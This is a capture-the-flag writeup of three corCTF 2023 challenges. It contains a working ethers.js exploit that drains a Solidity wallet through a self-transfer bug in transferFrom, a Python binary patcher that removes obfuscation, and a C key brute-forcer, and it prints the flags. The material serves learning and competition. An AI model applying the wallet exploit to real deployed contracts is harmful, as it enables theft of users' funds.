---
# System prepended metadata

title: '(CTF) 2023 corCTF writeup (diophantus, utterly-tangled,babyWallet)'
tags: [writeup]

---

https://twitter.com/cor_ctf/status/1685802639270043648
participated with `cat :flag_kr:` and placed 3rd

# blockchain/baby-wallet
> (24 solves)
```solidity=
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
// 100 ether
contract BabyWallet {
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amt) public { // check effect interaction
        require(balances[msg.sender] >= amt, "You can't withdraw that much");
        balances[msg.sender] -= amt;
        (bool success, ) = msg.sender.call{value: amt}("");
        require(success, "Failed to withdraw that amount");
    }

    function approve(address recipient, uint256 amt) public {
        allowances[msg.sender][recipient] += amt;
    }
    ...
    function transferFrom(address from, address to, uint256 amt) public {
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance >= amt, "You can't transfer that much");
        require(allowedAmt >= amt, "You don't have approval for that amount");

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }
    ...
}
```
The goal is to steal all ether (100 ether) from the BabyWallet contract. 
User starts with 5000 ether.

the vulnerability is in the transferFrom function.
If `from` equals to `to`, 
```solidity
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;
```
the User can add amt to their balance ( Users must deposit an amount equal to or greater than amt )
I think I saw this vuln on Twitter.
```solidity
balances[from] -= amt;
balances[to] += amt;
```
And thought this code will be safe.
the exploit flow:
1. deposit 100 ether
2. approve user 100 ether
3. transfer user to user with 100 ether
4. withdraw 200 ether


###### `exploit.js`
```javascript=
const ethers  = require('ethers');
const fs = require('fs');
url = 'https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b'
user = '0xE374b91523278549A86a7d3c1b9Cf4B918F1063d'
pvKey = '0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee'
setupAddr = '0x3efA52920e554DF6A8738A717450598f0e3202c4';
// default wallet
/*
ticket{401a09c398b4015b20178132cabba425}
uuid:           381a0939-1e95-42dd-9cda-70a2880adf7b
rpc endpoint:   https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b
private key:    0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee
your address:   0xE374b91523278549A86a7d3c1b9Cf4B918F1063d
setup contract: 0x3efA52920e554DF6A8738A717450598f0e3202c4
*/
async function main() {
    provider = new ethers.providers.JsonRpcProvider(url);
    const signer = new ethers.Wallet(
        pvKey,
        provider
    )
    console.log(ethers.utils.formatUnits(await provider.getBalance(user)).toString());
    setupAbi = JSON.parse(fs.readFileSync('./out/Setup.sol/Setup.json', 'utf8'))['abi'];
    walletAbi = JSON.parse(fs.readFileSync('./out/BabyWallet.sol/BabyWallet.json', 'utf8'))['abi'];
    const setup = new ethers.Contract(setupAddr, setupAbi, signer);
    const walletAddr = await setup.wallet();
    const wallet = new ethers.Contract(walletAddr, walletAbi, signer);

    await wallet.deposit({value: ethers.utils.parseEther('100')});
    await wallet.approve(user, ethers.utils.parseEther('100'));
    await wallet.transferFrom(user,user,ethers.utils.parseEther('100'));
    console.log((await wallet.balances(user)).toString());
    
    await wallet.withdraw(ethers.utils.parseEther('200'));
    console.log((await provider.getBalance(walletAddr)).toString());
}

main();
```
> corctf{inf1nite_m0ney_glitch!!!}
# rev/utterly-deranged (60 solves)
The huge binary is given. It can't be decompiled with IDA because it has too many dummy codes that makes branches
![](https://hackmd.io/_uploads/rygpYxroh.png)
these codes (test,jnz,jmp) can be removed with nop.
I patched the code. if the target address of jmp is 0x416948 or larger, it can be replaced with nop.

###### `patch.py`
```python=
import re
from pwn import *
context.arch="amd64"

f = open("./utterlyderanged","rb").read()
main = f[0x1170:0x16935]
BASE = 0x401170
MAIN_END = 0x416900
breaking = []
breaking.append(re.compile(b'\x75\x05\xe9.{4}')) # jz & jmp
breaking.append(re.compile(asm("test rax,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test al,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rcx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test cl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdi,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dil,1;")+b'\x0f.{5}'))
for b in breaking:
    idxes = list(b.finditer(main))
    for idx in idxes:
        start,end = idx.span()
        opcodes = idx.group()
        addr = u32(opcodes[-4:])+start+BASE+10
        if addr > MAIN_END:
            main = main[:start]+b'\x90'*(end-start)+main[end:]
strange = []
strange.append(asm("test rax,1;nop;"))
strange.append(asm("test al,1;nop;"))
strange.append(asm("test rdx,1;nop;"))
strange.append(asm("test dl,1;nop;"))
strange.append(asm("test rcx,1;nop;"))
strange.append(asm("test cl,1;nop;"))
strange.append(asm("test rdi,1;nop;"))
strange.append(asm("test dl,1;nop;"))
for s in strange:
    idxes = list(re.finditer(s,main))
    for idx in idxes:
        start,end = idx.span()
        main = main[:start]+b'\x90'*(end-start)+main[end:]

out = f[:0x1170]+main+f[0x16935:]
print(len(out))
with open("./utterlyderanged_patched","wb") as f:
    f.write(out)
```
Now the binary can be decompiled. It has some logic that generate xor table and just xor with input and compare with some data.
I just dumped that xor table and xored with some data.
![](https://hackmd.io/_uploads/SJTwibri3.png)
![](https://hackmd.io/_uploads/HkqCsWBsn.png)
xor table. bp at 0x0000000000414F87

> corctf{s331ng\_thru\_my\_0p4qu3\_pr3d1c4t35}

# rev/diophantus (9 solves)
The binary compiled with Rust is given.
It was hard time to analysis the logic due to hidden logic due to decompiler after calling encrypt_ntt function 

```!
_$LT$core..slice..iter..IterMut$LT$T$GT$$u20$as$u20$core..iter..traits..iterator..Iterator$GT$::for_each::h034ba2e141d3316a
-> encrypt::main::_$u7b$$u7b$closure$u7d$$u7d$::haec5bb9b009b33ff
```
```python=
def encrypt_ntt(key,buf):
    if len(buf)==1:
        return

    even_array = [0] * (len(buf)//2)
    odd_array = [0] * (len(buf)//2)
    for i in range(len(buf)//2):
        even_array[i] = buf[i*2]
        odd_array[i] = buf[i*2+1]

    encrypt_ntt(key,even_array)
    encrypt_ntt(key,odd_array)
    mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
    len_div2 = len(buf)>>1
    v30 = 1
    for i in range(len_div2):
        v15 = v30
        v13 = odd_array[i] * v15 % 0x10001
        buf[i] = (even_array[i]+v13) % 0x10001
        buf[i+len_div2] = (even_array[i]+0x10001 - v13)  % 0x10001
        v30 = v30 * mod % 0x10001

def decrypt_ntt(key, buf):
    if len(buf) == 1:
        return
    even_array_enc = [0] * (len(buf)//2)
    odd_array_enc = [0] * (len(buf)//2)
    mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
    len_div2 = len(buf)>>1
    for i in range(len_div2 - 1, -1, -1):
        v30 = pow(mod, i, 0x10001)
        v13 = (buf[i] - buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
        even_array_enc[i] = (buf[i] + buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
        odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001

    decrypt_ntt(key, even_array_enc)
    decrypt_ntt(key, odd_array_enc)
    for i in range(len(buf)//2):
        buf[i*2] = int(even_array_enc[i])
        buf[i*2+1] = int(odd_array_enc[i])

def decrypt(inp,key1,key2):
    len_log2 = int(math.log2(len(inp)))+1
    inp = [pow(pow(1<<len_log2>>1,0xffff,0x10001),-1,0x10001)*inp[i] % 0x10001 for i in range(len(inp))]
    decrypt_ntt(key2,inp)
    inp =[(inp[i]-key2) * inverse(key1, 0x10001) % 0x10001 for i in range(len(inp))]
    decrypt_ntt(key1,inp)
    return inp

def encrypt(inp,key1,key2):
    encrypt_ntt(key1,inp)
    inp = [(inp[i]*key1 + key2) for i in range(len(inp))]
    encrypt_ntt(key2,inp)
    inp = [inp[i] * pow(1<<len_log2>>1,0xffff,0x10001) % 0x10001 for i in range(len(inp))]
    return inp
```
rewrote with python. my teammate @poro helped to write decrypt function.
```
./encrypt flag.txt key1 key2 > flag.enc
```
the flag was encrypted like above.
and i had no idea how to get key1,key2
the range of key each key is 1 ~ 0x10001.
So I just bruteforced the key.
I rewrote it in c using multithreading and compiled it with the -O3 option.
###### `decrypt.c`
```c=
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <pthread.h>

#define THREAD_COUNT 6

long long mod_pow(long long base, long long exp, long long mod) {
    long long result = 1;

    while (exp > 0) {
        if (exp % 2 == 1) {
            result = (result * base) % mod;
        }
        base = (base * base) % mod;
        exp /= 2;
    }

    return result;
}

long long inverse(long long num, long long mod) {
    if (num == 0) {
        return 0; 
    }

    return mod_pow(num, mod - 2, mod);
}

void decrypt_ntt(long long key, long long *buf, long long len) {
    if (len == 1) {
        return;
    }

    long long *even_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
    long long *odd_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
    long long mod = mod_pow(key, 1 << (16 - (long long)log2(len)), 0x10001);
    long long len_div2 = len >> 1;
    for (int i = len_div2 - 1; i >= 0; i--) {
        long long v30 = mod_pow(mod, i, 0x10001);
        long long v13 = ((buf[i] - buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
        if (v13 < 0) {
            v13 += 0x10001;
        }
        even_array_enc[i] = ((buf[i] + buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
        if (even_array_enc[i] < 0) {
            even_array_enc[i] += 0x10001;
        }
        odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001;
        if (odd_array_enc[i] < 0) {
            odd_array_enc[i] += 0x10001;
        }
    }

    decrypt_ntt(key, even_array_enc, len / 2);
    decrypt_ntt(key, odd_array_enc, len / 2);

    for (long long i = 0; i < len_div2; i++) {
        buf[i * 2] = even_array_enc[i];
        buf[i * 2 + 1] = odd_array_enc[i];
    }

    free(even_array_enc);
    free(odd_array_enc);
}

void decrypt(long long *buf, long long len, long long key1, long long key2) {
    long long len_log2 = (long long)log2(len);
    long long len_div = len >> 1;
    for (int i = 0; i < len_div; i++) {
        buf[i] = buf[i] * inverse(mod_pow(len_div, 0xffff, 0x10001), 0x10001) % 0x10001;
    }
    decrypt_ntt(key2, buf, len_div);
    for (int i = 0; i < len_div; i++) {
        buf[i] = (buf[i] - key2) * inverse(key1, 0x10001) % 0x10001;
    }
    decrypt_ntt(key1, buf, len_div);
}

struct ThreadArgs {
    int *cnt;
    long long key1_start;
    long long key1_end;
    long long *buf;
};

void* threadDecrypt(void* args) {
    struct ThreadArgs* threadArgs = (struct ThreadArgs*)args;
    long long key2 = 0;
    long long buf[512] = {0};
    long long buf2[512] = {0};
    unsigned char out[512] = {0};
    for (int i = 0; i < 256; i++) {
        buf[i] = threadArgs->buf[i];
    }
    for (long long key1 = threadArgs->key1_end; key1 >= threadArgs->key1_start; key1--) {
        for (key2 = 0; key2 <= 0x10001; key2++) {
            memset(buf2, 0, sizeof(buf2));
            for (int i = 0; i < 256; i++) {
                buf2[i] = buf[i];
            }
            decrypt(buf2, 0x40, key1, key2);
            if (buf2[0] == 25455 && buf2[1] == 29283 && buf2[2] == 29798) {
                int c = 0;
                for (int i = 0; i < 256; i++) {
                    out[c++] = buf2[i] >> 8;
                    out[c++] = buf2[i] & 0xff;
                }
                printf("%s\n", out);
                printf("%lld, %lld\n", key1, key2);
            }
        }
        (*threadArgs->cnt)++;
        if(*threadArgs->cnt % 0x10 == 0) {
            printf("%lld\n", key1);
        }
    }
    return NULL;
}

int cnt = 0;
int main(void) {
    unsigned char reader[512] = {0,};
    long long buf[512] = {0,};
    int c = 0;

    // open ./flag.enc
    FILE *fp = fopen("./flag.enc", "r");
    // read flag.enc
    fread(reader, 1, 512, fp);
    for (int i = 0; i < 256; i += 2) {
        buf[c++] = reader[i] << 8 | reader[i + 1];
    }

    // Divide key1 range into THREAD_COUNT parts
    long long key1_range = 0x10001 / THREAD_COUNT;
    pthread_t threads[THREAD_COUNT];
    struct ThreadArgs threadArgs[THREAD_COUNT];

    // Create and run threads
    for (int i = 0; i < THREAD_COUNT; i++) {
        threadArgs[i].key1_start = i * key1_range;
        threadArgs[i].key1_end = (i == THREAD_COUNT - 1) ? 0x10001 : (i + 1) * key1_range - 1;
        threadArgs[i].cnt = &cnt;
        threadArgs[i].buf = buf;
        printf("%lld, %lld\n", threadArgs[i].key1_start, threadArgs[i].key1_end);
        pthread_create(&threads[i], NULL, threadDecrypt, (void*)&threadArgs[i]);
    }

    // Wait for all threads to finish
    for (int i = 0; i < THREAD_COUNT; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}
```
> corctf{i_l0v3_s0lv1ng_nUmb3r_th30r3tic_tR@n5f0rmS!!!}
